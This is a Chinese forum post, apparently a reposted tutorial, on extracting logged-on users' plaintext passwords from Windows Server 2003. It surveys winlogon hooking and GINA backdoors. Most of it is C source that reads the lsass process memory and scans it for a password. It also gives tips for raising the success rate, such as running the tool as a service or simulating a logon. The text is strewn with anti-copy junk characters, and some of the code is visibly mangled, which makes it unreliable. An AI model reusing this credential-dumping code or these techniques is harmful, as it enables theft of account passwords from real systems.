[win2003教程] 如何在Windows 2003中得到登陆密码

风舞残阳

管理员

Rank: 17

超级管理管理员

论坛元老未来销售客服

1楼大中小发表于 2008-4-1 14:43 只看该作者

如何在Windows 2003中得到登陆密码

在所有NT系统中，都是有几种方法可以得到登陆用户的密码的。我知道的三种方法可以达到目的。( k- E4 `8 g/ X% g7 x: i
[color=#FFFFFF']) R# Z9 T4 R' t

1.hook了winlogon中几个函数，网上也有这类型的程序，叫winlogonhijack的项目在rootkit.com中有提供，不过那个项目只对本地登陆用户有效，远程登陆用户无效。
2.使用Gina和winlogon进行套接，只要对某些函数执行自己的记录密码的代码，就可以将密码记录下来，稳定性高，而且对本地或远程登陆都有效，不过现存的gina后门程序在XP或2003中都有些函数没有被导出过，主要因为xp和2003等在winlogon中加入了新的函数。9 k) }8 G. T1 R& i
[color=#FFFFFF']
1 f& g7 a( R( A- m
3.直接读取内存数据得到明文密码。在NT4.0/2K中，早就有程序findpass可以直接读到winlogon进程中的内存数据而直接得到登陆用户密码，因为在NT4.0和2K中，帐号的信息，包括域名，帐号和密码都是有规律地在winlogon内存中的特定地址中，所以可以很简单就得到。但在XP和2003系统中，这样方法是无效的了，似乎我们是没有办法直接读出明文地址了。下面我们就来谈谈如何象findpass在NT4.0和2K在，在server2003中得到登陆用户的密码。
虽然XP和2003是不象以前的NT系统那样将登陆用户信息保存在winlogon进程的内存地址内，但是基Lsass进程对于要处理些信息时，需要得到明文的登陆用户密码，所以登陆用户的密码会在Lsass进程中出现(微软没有将密码在Lsass进程中进行加密，微软的说法是因为Lsass需要得到明文的密码，就算将密码加密，也都只能用可逆的方法加密，只要跟踪lsass的操作，一样可以得到明文密码，所以微软使用了比较懒惰的方法，可能也是为了加快响应速度，所以将明文密码更是放在lsass进程内存内)。说到这里，大家心里都清楚了，登陆用户的密码是在lsass进程的内存中。对，就是这么一回事，但是要得到这个明文密码，真是象使用NT4.0和2K下的findpass那样容易吗?事实上并不是那么容易，因为以下几个原因:
[color=#FFFFFF']

A.密码存放在lsass进程中的内存地址是没有规律的
[color=#FFFFFF']# D! X- ]2 S1 k# `$ Y0 @' s
* F- w, J! H, E/ [, n
B.密码有可能被最后登陆的用户复盖(例如管理员abc从本地登陆，然后管理员bbb从远程登陆，然后管理员bbb注销终端，存放在lsass.exe进程内存中的密码，还是管理员bbb的密码)，又或者用户登陆后，然后注销了，那么我们就算得到了密码，也不知道是哪个用户的密码。1 N% |# }: F  A0 p* K; H% E8 V
C.密码前后的数据也是没有规律的，如果有规律，例如密码前的数据，一定是有一段全是01字符的数据段，那么定位密码就简单。
[color=#FFFFFF']
& i: O7 ?5 W) `' A" X8 @
原因A和C都给我们带来定位密码的困难，原B就带来不能确定密码和帐号对应的问题.看来微软在新的系统还是做过点功夫。不过我们是不会放弃的，就算是碰碰运气，也看能不能得到密码，反正就算失败，也没什么关系。# o4 P1 C2 R6 Y
最后的代码，是我写来测试是不是能在2003的系统中得到登际用户的密码，结果也正好象我们上面的分析一样(当然了，上面的结果是用这程序测测得到的)。成功率当然不高，因为受太多原因所影响，定位密码上的困难或者无法定位，或者得到不是密码的信息等等的原因，都令失败率显得相当高，不过总还是一种方法，或者将来有人可以准确定位到，那就是令人高兴了。虽然说失败率高，但在一种情况下，成功率却是很高的，那就是管理员只是在本地或终端中登陆了，以后再没有用户从本地或终端登陆过，而且管理员也没有锁上过系统，那么成功率就会是相当高的了。6 z- ^: p. K* Y& p4 a  J! j
提高成功率的两种做法:
[color=#FFFFFF']# \# l( q  E0 l: P& {: Z7 R% P3 }, o8 c

1.程序直接写成服务，定时检查本地或远程登陆(其实没什么分别)，当检测到登陆后，去搜索lsass进程内存，尝试得到密码。
[color=#FFFFFF']

2.程序模拟一个登陆(使用LogonUser()就能搞定)，因为使用LogonUser()这个API，你要提供帐号名和对应的正确的密码，才可以成功，然后你就可以去搜索lsass进程内存。因为知道密码是什么，我们就能定位到密码是保存在什么地方。因为登陆用户的密码都是保存在同一个地址或相离不远的地址中，模拟登陆和搜索，可以先定位以后登陆的用户的密码会大约保存在什么位置。
无论怎说，三种方法中，最稳定，最安全的方法还是使用Gina那种方法.Hijack了winlogn一些API的方法，毕竟是改动了系统的东西，对系统的稳定性来说，会有考验，直接搜索lsass进程内存的方法呢，虽说也是困难，但准确性，成功率却又是低。  _% w+ o5 a" F$ W/ G8 t
下面的代码使用的是很笨，而且很原始的搜索方法，主要是搜索Lsass内存中"LocalSystemRemoteProcedure"这个字符串，因为在相当多的测试中，密码都是保存在有这个字符串的地址后一点的位置中，当然了，很多系统并没有这个字符串，或者就算有，我们得到的都是错误的密码。1 o0 b# ]  d9 v$ y0 [; z
# H/ N1 ]6 G& a5 N
代码://********************************************************************************
[color=#FFFFFF']+ m+ ~0 f0 O" @, E, @
. G$ ~6 v: R; w, V
//Version:V1.0
//Coder:WinEggDrop
//DateRelease:12/15/20049 b. t: f9 b5 {  [- X* C: B- J
//Purpose:ToDemonstrateSearchingLogonUserPasswordOn2003Box，TheMethod
[color=#FFFFFF']; T1 O& |- K& f+ P, w

//UsedIsPrettyUnwise，ButThisMayBeTheOnlyWayToReviewThe
[color=#FFFFFF']
$ k( Z6 ~. G6 |
//LogonUser'sPasswordOnWindows2003., k# e# N# C$ B" Y/ [
//TestPlatForm:Windows2003: J8 Q3 i2 E, B3 P* F: F" K
//CompiledOn:VC6.0
//********************************************************************************$ M; |; e/ l3 c( h# W! q: p% W
[color=#FFFFFF']) G% |  W% U6 K5 \
( g) e, A$ R, j
#include$ u  g* ?" |& R
#include
[color=#FFFFFF']
2 P' ~$ _( b# Q
#include# c' [( D& D* P' W( M
#defineBaseAddress0x002b5000//TheBaseMemoryAddressToSearch;ThePasswordMayBeLocatedBeforeTheAddressOrFarMoreFromThisAddress，WhichCausesTheResultUnreliable
charPassword[MAX_PATH]=;//StoreTheFoundPassword" f# B5 X. Y! e) [( Y. d
//FunctionProtoTypeDeclaration
//------------------------------------------------------------------------------------------------------
BOOLFindPassword(DWORDPID);* `. E8 u. C$ w; }- N2 H8 K, q: K6 |
[color=#FFFFFF']
0 z' P' d% K. g7 F
intSearch(char*Buffer，constUINTnSize);6 c8 U! g, E* x1 J! B
DWORDGetLsassPID();
BOOLIs2003();1 a1 e& S/ P4 L8 g0 b2 d4 {, ?
[color=#FFFFFF']
" }' a) w' u7 G6 h
//------------------------------------------------------------------------------------------------------3 k* h  j& `1 n: [
//EndOfFucntionProtoTypeDeclaration+ G! ]/ P9 S" h* u$ g7 q
intmain()' w! j) m5 t& G6 K  U! Z! c- E
{
DWORDPID=0;% @) n% s" {4 M4 _/ {% T: j6 {
printf("Windows2003PasswordViewerV1.0ByWinEggDrop\n\n");
if(!Is2003())//CheckOutIfTheBoxIs2003
[color=#FFFFFF']& {+ g' Q. Z0 K4 R
8 O8 t* y5 P) @8 g
{
printf("TheProgramCan'tOnlyRunOnWindows2003Platform\n");
return-1;
}
[color=#FFFFFF']

PID=GetLsassPID();//GetTheLsass.exePID
if(PID==0)//FailToGetPIDIfReturningZerom
{( [! L+ m  h6 B# j* ?
return-1;' L0 V5 [0 `- |; X! Q1 ]3 b
[color=#FFFFFF']# n( B* R  v' K% Z8 {' p& ^

}
FindPassword(PID);//FindThePasswordFromLsass.exeMemory0 u& \. q$ H) s  f% A9 t
return0;" T# [# H- K) g$ I
}
//Endmain()
//------------------------------------------------------------------------------------
//Purpose:SearchTheMemory%26;amp;TryToGetThePassword& _$ [6 a0 G2 l- S
//ReturnType:int
//Parameters:5 Z4 S3 Y- a3 b8 q
//In:char*Buffer--%26gt;TheMemoryBufferToSearch
[color=#FFFFFF']

//Out:constUINTnSize--%26gt;TheSizeOfTheMemoryBuffer  g5 x* |5 w0 e1 h( c/ M" f2 ]2 V
//Note:TheProgramTriesToLocateTheMagicString"LocalSystemRemoteProcedure"，
//SinceThePasswordIsNearTheAboveLocation，ButIt'sNotAlwaysTrueThat- W9 v# U: R  v# F, |' v
[color=#FFFFFF']: k. p# H, o* V

//WeWillFindTheMagicString，OrEvenWeFindIt，ThePasswordMayBeLocated
//AtSomeOtherPlace.WeOnlyLookForLuck
//------------------------------------------------------------------------------------2 o( ~% C& W% U+ G; s! j' O0 K
[color=#FFFFFF']$ |) Q4 c2 _( K6 |; ~" x. e
2 H8 |( I5 g  U4 q: H1 ~
intSearch(char*Buffer，constUINTnSize)! Q8 C& M8 O0 z" F) ^* R
{
UINTOffSet=0;
[color=#FFFFFF']2 v7 f/ N, E) y2 {' ^) m1 ]( v

UINTi=0;; p* k+ y% \3 X& {& A) d9 H- o: r
[color=#FFFFFF']0 S6 Y; e$ {# ^1 x4 z- q) w( p

UINTj=0;
UINTCount=0;
[color=#FFFFFF']

if(Buffer==NULL). R) W) v5 ]& Z" W! \" c' N
{
return-1;. n  D9 j; y8 M: O
}
for(i=0;i%26lt;nSize;i)
{
/*TheBelowIsToFindTheMagicString，WhySoComplicated?ThatWillThankMS.TheSeparationFromWordToWord
IsNotSeparatedWithASpace，ButWithAEndingCharacter，SoAnySearchAPILikestrstr()WillFailToLocate
[color=#FFFFFF']8 ~$ I% T8 C  @! q6 H# V2 e

TheMagicString，WeHaveToDoItManuallyAndSlowly+ x" ^. V0 A/ D6 @
*/, E, D0 |/ |" u) A% }
if(Buffer=='L')
{' w5 b% C8 T. f* W% \$ Z  ]
OffSet=0;
[color=#FFFFFF']

if(strnicmp(%26;amp;Buffer[iOffSet]，"LocalSystem"，strlen("LocalSystem"))==0)* I7 o4 w$ S3 `( L, Q/ i
{
OffSet=strlen("LocalSystem")1;  b! L9 a( ^4 P# e5 ^
if(strnicmp(%26;amp;Buffer[iOffSet]，"Remote"，strlen("Remote"))==0)
{
[color=#FFFFFF']
& k9 s5 Y( v5 l; p) u
OffSet=strlen("Remote")1;+ h1 c% L: j( L" M/ A
[color=#FFFFFF']
& a7 q8 R* c- {3 `% l
if(strnicmp(%26;amp;Buffer[iOffSet]，"

rocedure"，strlen("

rocedure"))==0)
{* u7 [/ j9 t1 R) m/ }3 j
[color=#FFFFFF']. }3 z* A' q8 P
4 y/ E- n# S% F, {+ }
OffSet=strlen("

rocedure")1;
if(strnicmp(%26;amp;Buffer[iOffSet]，"Call"，strlen("Call"))==0)
[color=#FFFFFF']0 E* m8 {. Z. N0 }5 Y

{
i=OffSet;7 L. u! t4 }( E6 {" E
break;
}: C% }( y& K& O' A+ e  D
}) Y- l/ D7 r9 j5 w+ [& y% c& C
[color=#FFFFFF']
( d" m# f, l5 C- J
}
}
}1 Q$ F  {  A2 o, x3 |
}4 @! z$ ^: O+ k1 w$ M4 k* ]$ S
[color=#FFFFFF']

if(i%26lt;nSize)9 e8 n; V0 x; E
{
ZeroMemory(Password，sizeof(Password));
for(;i%26lt;nSize;i)6 B3 W1 O* a+ Z( t6 a4 W- d9 Q
{
if(Buffer==0x02%26;amp;%26;amp;Buffer[i1]==0%26;amp;%26;amp;Buffer[i2]==0%26;amp;%26;amp;Buffer[i3]==0%26;amp;%26;amp;Buffer[i4]==0%26;amp;%26;amp;Buffer[i5]==0%26;amp;%26;amp;Buffer[i6]==0)
{
[color=#FFFFFF']

/*TheBelowCodeIsToRetrieveThePassword.SinceTheStringIsInUnicodeFormat，SoWeWillDoItIn2 V+ |4 j. j) N- }, _/ C" n
ThatWay) T! x8 P( D! M+ B- G4 O1 T
*/
[color=#FFFFFF']

j=i7;/ F# Z5 }+ ~/ T' {7 X
[color=#FFFFFF']

for(;j%26lt;nSize;j=2)
{! @6 ^9 B5 }1 B; x
if(Buffer[j]%26gt;0)
[color=#FFFFFF'], \2 k- S  h  k  [8 Y2 Y/ m
# L& t  P4 k% X; V
{
Password[Count]=Buffer[j];
}0 Z+ N$ y# R5 L$ r6 A  F, _
[color=#FFFFFF']
6 `' r7 }$ P1 p+ A+ J. m. n
else
[color=#FFFFFF']

{
break;7 |$ A  U+ D/ u: i( N3 K3 l; M) A% W
}4 k3 L- S: K6 V
[color=#FFFFFF']
# F! w, [% d' }  L( O# N
}
returni7;//OneFlagToIndicateWeFindThePassword% }: P) e5 Y9 X/ ?4 r" _. l
}& T5 n6 A/ G( s: g8 b$ d6 g4 K# D8 C
}5 G9 D! r. ?0 F" b# G
}
return-1;//Well，WeFailToFindThePassword，AndThisAlwaysHappens! e$ a4 [5 Z% l* D: i8 G
}* g* E* d- \4 O* P
//EndSearch
//------------------------------------------------------------------------------------
//Purpose:ToGetTheLsass.exePID8 h. k: d+ y+ T* d( h# |
//ReturnType

WORD8 J! C; u9 l0 n) J$ O; Q
//Parameters:None+ u! c" a: [% I, D' R* C- j0 m
[color=#FFFFFF']

//------------------------------------------------------------------------------------6 x+ \/ S; }( W) w- h( I6 T9 }
DWORDGetLsassPID()
[color=#FFFFFF']# d$ q) b% w2 }+ A: I* Y0 G  f
1 v& c0 {( n6 u: n! a
{
[color=#FFFFFF']! f* L- \# o/ l$ T+ G9 N( ^

HANDLEhProcessSnap;
HANDLEhProcess=NULL;
PROCESSENTRY32pe32;
DWORDPID=0;4 V2 X; n8 y! y7 G1 Z
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS，0);8 V, n8 L7 b! B, r
[color=#FFFFFF']
  v0 a) b# J, y  u8 q* ^1 F$ e8 k
if(hProcessSnap==INVALID_HANDLE_VALUE)/ ]4 b( s4 n" v
{
[color=#FFFFFF'], x2 [! M( w; a& y# |  a

printf("FailToCreateSnapShot\n");
return0;
}) _9 w# U: V0 B/ E- ?
pe32.dwSize=sizeof(PROCESSENTRY32);
if(!Process32First(hProcessSnap，%26;amp;pe32))
[color=#FFFFFF']
8 Q, d" y5 H4 I: i8 V8 o
{
CloseHandle(hProcessSnap);//Mustcleanupthesnapshotobject!
return0;) _8 f. o* z' O. L
}7 X; t  d) G, V: M/ I
[color=#FFFFFF']
$ a: e8 `( _5 C2 d+ S8 D5 V8 S
do' J" `2 E( W: v4 N) t
{
if(strcmpi(pe32.szExeFile，"Lsass.EXE")==0)/ f2 c; J- P' W0 K3 A: [) T
{1 J2 I& d* P' o; W  H; Z) |( h& K
PID=pe32.th32ProcessID;
break;
}) J+ [* z  i2 [* s* ^; [
}while(Process32Next(hProcessSnap，%26;amp;pe32));
CloseHandle(hProcessSnap);
[color=#FFFFFF']7 Y/ ~( w% F1 F# }! E

returnPID;
}9 \) ~& Q5 n1 n! K# n! L, p
[color=#FFFFFF']$ f9 c! `1 T* ^& v- W

//EndGetLsassPID()
//------------------------------------------------------------------------------------5 [3 \1 X+ I* h% C6 u, z' g8 \
//Purpose:ToFindThePassword
//ReturnType:BOOLEAN6 i+ X) O3 \- M, R5 ]0 c: ^
[color=#FFFFFF']8 @3 V- V" r2 b/ U& d9 _" ^, ~& }

//Parameters:
[color=#FFFFFF']" ]6 k0 H3 a( p4 K) h, D$ {9 n. c
7 {; s, {6 Y# M: @" x. W
//In

WORDPID-%26gt;TheLsass.exe'sPID
//------------------------------------------------------------------------------------% a/ G( l' N2 B9 e& R+ v6 A
BOOLFindPassword(DWORDPID). K% d# j& l& g& F( Y
{- |3 _- j$ c# \* ^2 A
[color=#FFFFFF']
; ^' c% i, a7 \9 V) E; t
HANDLEhProcess=NULL;
[color=#FFFFFF']
; H0 O; @( r, F% V. Q) ]
charBuffer[5*1024]=;
[color=#FFFFFF']" }8 f! I# q2 L+ D2 ]- J

DWORDByteGet=0;' c! w3 G! `/ }6 e( g% x
intFound=-1;$ U/ ?( X6 Y* V; H0 H
hProcess=OpenProcess(PROCESS_VM_READ，FALSE，PID);//OpenProcess
[color=#FFFFFF']
- [! h) ^- A( e% V
if(hProcess==NULL)" G" `+ A7 g5 I, P4 E
[color=#FFFFFF']* L2 y7 Y2 v# S9 _1 p1 H

{
printf("FailToOpenProcess\n");4 o5 M& E/ D5 h6 b7 u5 y  q
returnFALSE;0 ?  d; ]% K! M  i7 A
}
if(!ReadProcessMemory(hProcess，(PVOID)BaseAddress，Buffer，5*1024，%26;amp;ByteGet))//ReadTheMemoryFromLsass.exe0 E( f; A. F+ c% M
{. b/ }9 c* h) g6 N
printf("FailToReadMemory\n");
CloseHandle(hProcess);
[color=#FFFFFF']3 l& D/ r: o& I7 l% ?& I1 C3 {$ Q
- W: [: n4 ?2 R8 A# i
returnFALSE;, d- b6 a+ q! M7 \+ k! R
}
[color=#FFFFFF']" H0 r! b$ l& s+ G  x8 f) S
8 _1 |# l4 K+ D( I" X2 G' U
CloseHandle(hProcess);
[color=#FFFFFF']

Found=Search(Buffer，ByteGet);//SearchThePassword
if(Found%26gt;=0)//WeMayFindThePassword% `9 }1 _" r# z6 Z! n* q5 S
{
if(strlen(Password)%26gt;0)//Yes，WeFindThePasswordEvenWeDon'tKnowIfThePasswordIsCorrectOrNot
{
printf("FoundPasswordAt#0x%x-%26gt;\"%s\"\n"，FoundBaseAddress，Password);
}
}  G0 x9 q6 v& p# `$ w- e" f7 i
else
[color=#FFFFFF']) B& l2 S0 N$ m, j

{
printf("FailToFindThePassword\n");
[color=#FFFFFF']9 x9 N; f* V0 T- ^) J6 a
( }% @9 i' b( d& d1 s2 x
}1 k# Y4 }  z( a: b, x6 ^, w+ g
returnTRUE;6 d  @: q5 }0 {) d
}
//EndFindPassword3 N/ y0 U# B- n8 N
//------------------------------------------------------------------------------------
//Purpose:CheckIfTheBoxIsWindows20038 b  [2 ]) b5 z% w0 E
[color=#FFFFFF']( [: E4 L( G4 C) U: A6 V
' p6 X8 q0 u# U. z2 a' Z
//ReturnType:BOOLEAN
//Parameters:None
//------------------------------------------------------------------------------------8 c1 p- z& c4 p2 E: x& ^
BOOLIs2003()
{
OSVERSIONINFOEXosvi;
[color=#FFFFFF']+ N) v' U; i1 r5 D1 U2 J- S
; P/ ^- J  f' T% A4 ]; x1 p" j
BOOLb0sVersionInfoEx;+ C2 n6 W5 \; ^3 `* u9 O
ZeroMemory(%26;amp;osvi，sizeof(OSVERSIONINFOEX));. {3 e  g( v  P$ X7 U
osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
if(!(b0sVersionInfoEx=GetVersionEx((OSVERSIONINFO*)%26;amp;osvi)))
{7 L  I2 ^% a2 u3 T. I) g- t
osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
[color=#FFFFFF']0 |6 b6 G; }, j: Y9 Q, b, I
4 z* R5 w& ^3 p  W6 f/ ?8 \& m% \
}
return(osvi.dwMajorVersion==5%26;amp;%26;amp;osvi.dwMinorVersion==2);/ [+ i6 T3 T. F5 d
}
//EndIs2003()6 v7 s- k) y+ g) \
//EndOfFile
附件程序相当于密码定位程序，用来测试在lsass内存中搜索指定的字符串或模拟登陆的密码.) t  J, y8 c2 l- I
用法:# G! M. i! W+ e: Y% q, J& F
1.locator字符串-%26gt;在lsass进程内存中搜索指定的那个"字符串"，返回确定的位置
2.Locator用户名密码-%26gt;在系统中建立一个参数指定的用户，并进行模拟登陆，然后搜索"密码"在lsass进程内存中的位置，生成的帐户程序运行完后会自动删除。


+ x  h) P" h& i
- k. T) b- d! l8 ]% h& O
  " ?7 n+ p% O$ N) h* A
#1 若艾发表评论于：2007-3-4 15:13先收藏，改天仔细学习。

TOP

‹‹ 上一主题 | 下一主题 ››

用户导购指南	水货IBM笔记本电脑报价	行货IBM笔记本电脑报价	IBM服务器报价	IBM笔记本电脑配件报价
本周水货IBM笔记本电脑特价	IBM笔记本电脑驱动下载	水货IBM笔记本电脑验机流程	水货IBM笔记本电脑保修政策	IBM笔记本电脑FRU查询
IBM笔记本电脑常见问题	IBM笔记本电脑使用手册	笔记本电脑验机软件	论坛积分使用说明	水货IBM笔记本电脑异地购机流程
笔记本电脑购机经历及现场	贵宾申请入口	贵宾用户FTP入口	查看笔记本配置	水货APPLE苹果笔记本电脑报价